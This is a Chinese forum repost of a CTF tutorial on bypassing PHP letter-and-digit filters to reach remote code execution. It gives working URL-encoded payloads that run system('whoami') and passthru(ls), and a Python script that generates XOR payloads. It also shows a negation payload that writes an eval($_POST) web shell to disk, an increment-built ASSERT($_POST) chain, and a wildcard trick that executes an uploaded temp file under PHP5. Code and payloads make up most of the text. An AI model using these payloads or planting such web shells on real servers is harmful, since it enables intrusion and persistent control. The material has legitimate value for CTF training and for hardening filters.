IT评测·应用市场-qidao123.com技术社区

标题: RCE之无字母数字RCE [打印本页]

作者: 灌篮少年    时间: 2025-4-13 06:14
标题: RCE之无字母数字RCE
单词字符(\w):
巨细写字母 (a-z, A-Z)
数字 (0-9)
下划线 (_)
非单词字符(\W)是上面以外的任何字符,例如:
标点符号(如 !, @, #)
空格、换行符
其他非字母数字的字符
用运算符实现



1、 异或运算符
^
两个字符异或使用后,会得到一个新的字符,例如:
h和[举行异或使用,得到的效果为3
这是由于,在ascii码表中:
  1. h: 104 0x68 01101000
  2. [: 91 0x5B 01011011
复制代码

01101000和01011011逐位举行异或后,得到00110011,也就是0x33,在ascii码中表示是数字3:
  1. <?php
  2.         $a = 'h'^'[';
  3.         echo $a;
  4. ?>
  5. // 输出:3
复制代码
例如像以下如许构造下令:
  1. $__=("#"^"|"); // _
  2. $__.=("."^"~"); // _P
  3. $__.=("/"^"`"); // _PO
  4. $__.=("|"^"/"); // _POS
  5. $__.=("{"^"/"); // _POST
  6. $$__[_]($$__[__]); // $_POST[_]($_POST[__]);
复制代码
使用时,讲上述构造的下令取消换行,并举行url编码,传入参数即可:
例如:
  1. <?php
  2.         $w = $_GET['w'];
  3.         if (!preg_match("/[a-zA-Z0-9]/"), $w){
  4.                 eval($w);
  5.         }
  6. ?>
复制代码

Payload可以写成:

  1. ?w=%24__%3D(%22%23%22%5E%22%7C%22)%3B%24__.%3D(%22.%22%5E%22~%22)%3B%24__.%3D(%22%2F%22%5E%22%60%22)%3B%24__.%3D(%22%7C%22%5E%22%2F%22)%3B%24__.%3D(%22%7B%22%5E%22%2F%22)%3B%24%24__%5B_%5D(%24%24__%5B__%5D)%3B&_=system&__=whoami
复制代码

在实际应用中,可以通过python构造出我们须要的下令的异或算式,后续使用这个脚本,只须要修改payload和正则表达式即可
  1. import re
  2. import urllib.parse
  3. import requests
  4. def generate_xor_expression(payload, filter_regex):
  5.     """
  6.     根据目标 payload 和过滤正则表达式,生成异或表达式。
  7.     参数:
  8.         payload: 目标字符串
  9.         filter_regex: 用于过滤字符的正则表达式
  10.     返回:
  11.         构造的异或表达式字符串
  12.     """
  13.     xor_1 = ''
  14.     xor_2 = ''
  15.     usable_chars = []
  16.                
  17.     # 找到没有被过滤的可用字符
  18.     for i in range(0xff):
  19.         if chr(i) not in filter_regex:
  20.             usable_chars.append(chr(i))
  21.     # 遍历目标 payload 的每个字符,找到对应的异或字符对
  22.     for k in range(len(payload)):
  23.         for i in usable_chars:
  24.             if chr(ord(i) ^ 127) == payload[k]:  # 检查两个字符异或结果是否等于目标字符
  25.                 xor_1 += i
  26.                 xor_2 += chr(127)
  27.                 continue
  28.     # 构建最终的表达式,将字符进行URL编码
  29.     return "('" + urllib.parse.quote(xor_1) + "'^'" + urllib.parse.quote(xor_2) + "')"
  30. # 测试函数
  31. if __name__ == "__main__":
  32.     payload = "ls"  # 要生成的目标 payload
  33.     filter_regex = r'[a-zA-Z0-9]'  # 定义过滤正则表达式
  34.     result = generate_xor_expression(payload, filter_regex)  # 调用函数
  35.     print(result)  # 打印最终生成的表达式
  36. 测试:
  37. <?php
  38.     $c = $_GET['c'];
  39.     if(!preg_match("/[A-Za-z0-9]+/", $c)) {
  40.         echo 'Yes';
  41.         eval($c);
  42.     } else {
  43.         echo 'No';
  44.     }
  45.     show_source(__FILE__);
  46. ?>
  47. 构建payload:passthru(ls)
  48. ('%0F%1E%0C%0C%0B%17%0D%0A'^'%7F%7F%7F%7F%7F%7F%7F%7F')('%13%0C'^'%7F%7F')
复制代码
构建payload:passthru(ls)
  1. ('%0F%1E%0C%0C%0B%17%0D%0A'^'%7F%7F%7F%7F%7F%7F%7F%7F')('%13%0C'^'%7F%7F')
复制代码


2、 或运算符
|
同上异或的原理,不过须要改一下脚本里的运算符
3、 取反
~
  1. <?php
  2.     $a = 'system';
  3.     $b = ~$a;
  4.     echo urlencode($b);
  5. ?>
复制代码
得到的效果为%8C%86%8C%8B%9A%92,此时将改数据再取反,就可以得到我们想要的system,使用方式和异或部分同理。
4、 自增
使用自增,例如
  1. "a"++ => "b"
复制代码
以是,只要可以或许得到一个字符,我们就可以通过自增或自减的方式得到所有的字母。那么,要如何得到一个字母,例如A,在PHP中,逼迫连接数组和字符串的话,数组将会被转化为字符串,其值为“Array”。再取这个字符串的第一个字母,就可以得到A。
  1. <?php
  2. $a = ''.[];
  3. var_dump($a);
复制代码


另有其他的取字母的方法,例如:
  1. (0/0).''   //NAN
  2. (1/0).''   //INF
复制代码
参考佬的payload:
  1. <?php
  2. $_=[].'';   //得到"Array"
  3. $___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
  4. $__ = $___;   //$__="A"
  5. $_ = $___;   //$_="A"
  6. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
  7. $___ .= $__;   //$___="AS"
  8. $___ .= $__;   //$___="ASS"
  9. $__ = $_;   //$__="A"
  10. $__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
  11. $___ .= $__;   //$___="ASSE"
  12. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
  13. $___ .= $__;   //$___="ASSER"
  14. $__++;$__++;   //得到"T",此时$__="T"
  15. $___ .= $__;   //$___="ASSERT"
  16. $__ = $_;   //$__="A"
  17. $____ = "_";   //$____="_"
  18. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
  19. $____ .= $__;   //$____="_P"
  20. $__ = $_;   //$__="A"
  21. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
  22. $____ .= $__;   //$____="_PO"
  23. $__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
  24. $____ .= $__;   //$____="_POS"
  25. $__++;   //得到"T",此时$__="T"
  26. $____ .= $__;   //$____="_POST"
  27. $_ = $$____;   //$_=$_POST
  28. $___($_[_]);   //ASSERT($POST[_])
复制代码

PHP7和PHP5中的特性
assert是无字母数字RCE中很重要的一个函数,但是php5和php7中的这个函数是有区别的。在php5中,assert是一个函数,因此我们可以动态调用。但是在PHP7中,assert不再是一个函数,而是酿成了一个语言结构,不能再作为函数名动态实行代码。在php7中,可以通过($a)()如许的方式来实行下令,也就是说我们对phpinfo取反之后就可以直接实行了,亦或用file_put_contents来写shell。
php7中
例如想实行phpinfo(),可以写成(phpinfo)(),使用取反构造payload:
  1. (~%8F%97%8F%96%91%99%90)()                //        phpinfo
复制代码


乃至可以直接写马file_put_contents('4.php','<?php eval(\$_POST[1]);');
  1. (~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4));
复制代码


乐成写入
php5中
在php5中,不支持用($a)()如许的语句来调用函数,因此须要思量用一些更巧妙的技巧
这种绕过方式最重要使用到的特性:
php在处理惩罚上传的文件时,会将其保存在临时文件夹下(/tmp),而且默认的文件名为/tmp/phpXXXXXX的形式,文件名的后六位为随机的巨细写字母
可以使用.来实行任意文件,纵然这个文件没有实行权限
Linux下的文件可以使用通配符表示
我们在php中上传的文件,会被临时放到tmp目录下而且目录为/tmp/phpXXXXXX,但是只是放到该目录下是达不到我们的目的的,那么就须要想办法实行他。此时就想到了Linux中的.,.在实行一个文件的时候,不须要改文件具有实行权限,.代表的是当前的shell,. file也就是使用当前的shell来实行file文件。那么结合起来想一下,假如有一个可以举行rce的点,纵然是过滤了字母数字的情况下,我们不就可以使用.来实行我们上传的临时文件了吗。
但是又出现题目了,本文不就是在讲无字母数字的情况如何举行rce吗,不能传入字母、数字,要怎么获取到上传的临时文件呢。我们就可以使用通配符,例如/tmp/phpXXXXXX就可以被表示为/???/?????????。
但是,当我们像如许去尝试获取php上传的临时文件时,又出现了题目,有很多能满足/???/?????????匹配格式的文件,以下引用p神的图




可以看到,如许的结构,匹配到了这么多文件,而且我们在php中上传天生的临时文件,排到了第6位,那么,在实行. /???/?????????时,就可能在前面的过程中出现题目,然后就导致整个流程停止,无法实行到我们上传的文件。
那么如何解决,过细观察,可以发现这些列出来的文件中,只有php的临时文件中存在大写字母,而且,在glob通配符中,支持使用[^x]的方法构造表示“这个位置不是字符x”的表达式,因为^在方括号中表示非。一下继承引用p神的图,同理就可以过滤掉很多文件

那么,同理,我们可以通过表达式,去匹配出文件名中带有大写字母的文件,就是php上传文件后天生的临时文件。
可以看到,大写字母在ascii码表上是介于@和[这两个符号之间的,那么在表达式中就可以使用[@-[]来表示大写字母
. /???/????????[@-[]
那么payload就可以这么打
  1. ?><?=`. /???/????????[@-[]`;?>
复制代码
ctfshow web56例题参考ctfshow-web入门-下令实行(web56、web57、web58)_ctfshow web56-CSDN博客


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 IT评测·应用市场-qidao123.com技术社区 (https://dis.qidao123.com/) Powered by Discuz! X3.4